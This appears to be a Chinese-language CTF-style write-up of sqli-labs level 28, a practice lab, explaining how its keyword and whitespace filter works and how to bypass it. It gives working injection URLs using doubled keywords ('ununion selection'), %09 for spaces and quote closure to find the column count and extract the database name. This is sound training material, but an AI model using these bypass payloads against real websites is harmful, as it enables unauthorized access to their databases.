当前位置: 首页 > news >正文

sqli-labs第二十八关——Trick with ‘union select‘

一:分析

这一关的提示和上一关一样,所以我们查看源码,屏蔽了注释符,空格,union,select等关键词

 分析这一条源码的几个新增添符号

\s:

匹配任何的空白字符(普通空格,\t(%09),\n(%0a),\r(%0d)等),只屏蔽空白符号,不屏蔽其url编码

+:

匹配前一个字符一次或者多次:这里的前一个字符是\s,也就是说明,以下代码都将被过滤

union select(单空格) 
union      select(多空格)
union%09%0aselect(混合空白符)

/i:

使得匹配忽略大小写,所以这一关也不能用大小写绕过注入

conclusion1:

这一关我们用 ||’ 代替注释符,双写绕过union select 的过滤,空格可以用括号闭合

举几个括号闭合的例子:

union select 1,2,3--+
union(select(1),(2),(3))--+and 1=1--+
and(1)=(1)--+order by 2--+
order(by(2))--+

加括号的规则:

1.关键词直接用括号连起来

union select
union(select

2.参数用括号包裹,运算符不动

1,2,3
(1),(2),(3)

conclution2: 注释符被过滤时的代替方案

1:||’1 逻辑闭合

2:and ('1'=%271

二:判断注入类型:

尝试?id=1',?id=1'),这两种类型的时候报错

尝试闭合,单引号闭合成功

三:开始攻击

 1.用union select查找列数(两种方法)

嵌套一个union select

?id=-1')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

 回显失败,我们观察下面的提示,发现输入的 ?id=-1 被过滤成了 ?id=1

于是尝试?id=999 

?id=-1')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

成功回显

?id=999')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

2.爆数据库名

?id=999')%09ununion%09selection%09select%091,database(),3%09and%09('1'='1

 ❀❀❀ 完结撒花!!!❀❀❀

http://www.xdnf.cn/news/648415.html

相关文章:

  • Flink Checkpoint SavePoint 深度剖析与工程实践
  • 在Spring Boot中实现Kafka动态反序列化:针对多主题的灵活数据处理
  • 网络安全-等级保护(等保) 3-2-2 GB/T 28449-2019 第7章 现场测评活动/第8章 报告编制活动
  • JVM GC 分类与原理深度解析
  • 10:图像传参+UI界面互传
  • JAVA Apache POI实战:从基础Excel导出入门到高级功能拓展
  • 网络安全全知识图谱:威胁、防护、管理与发展趋势详解
  • 二、网络安全常见编码及算法-(2)
  • 联邦学习与数据隐私保护之间的联系
  • 《Stable Diffusion 3.0企业级落地指南》——技术赋能与商业价值的深度融合实践
  • 数字电子技术基础(六十四)——只读存储器
  • mysql主从复制搭建
  • Swagger与go-zero框架生成和展示API文档详解
  • 《软件工程》第 12 章 - 软件测试
  • 【LangChain表达式语言(LCEL)应用实践】
  • 【控制理论】#1 控制系统与传递函数
  • 深入解析Spring Boot与Redis集成:高效缓存与性能优化实践
  • 游戏引擎学习第313天:回到 Z 层级的工作
  • 基于本地模型+多级校验设计的高效缓存,有效节省token数量(有点鸡肋doge)。
  • 前端安全直传MinIO方案
  • NLP学习路线图(八):常见算法-线性回归、逻辑回归、决策树
  • 【后端高阶面经:缓存篇】36、如何保证Redis分布式锁的高可用和高性能?
  • 鸿蒙OSUniApp 制作自定义的下拉刷新控件#三方框架 #Uniapp
  • 【文件上传】阿里云对象存储服务实现文件上传
  • 曼昆经济学原理第九版目录
  • 如何创建和使用汇编语言,以及下载编译汇编软件(Notepad++,NASM的安装)
  • C#面试问题2
  • uniapp 开发安卓app 微信授权获取昵称 头像登录
  • 学习心得(17--18)Flask表单
  • 探索LobeChat:开源、可定制的下一代AI对话客户端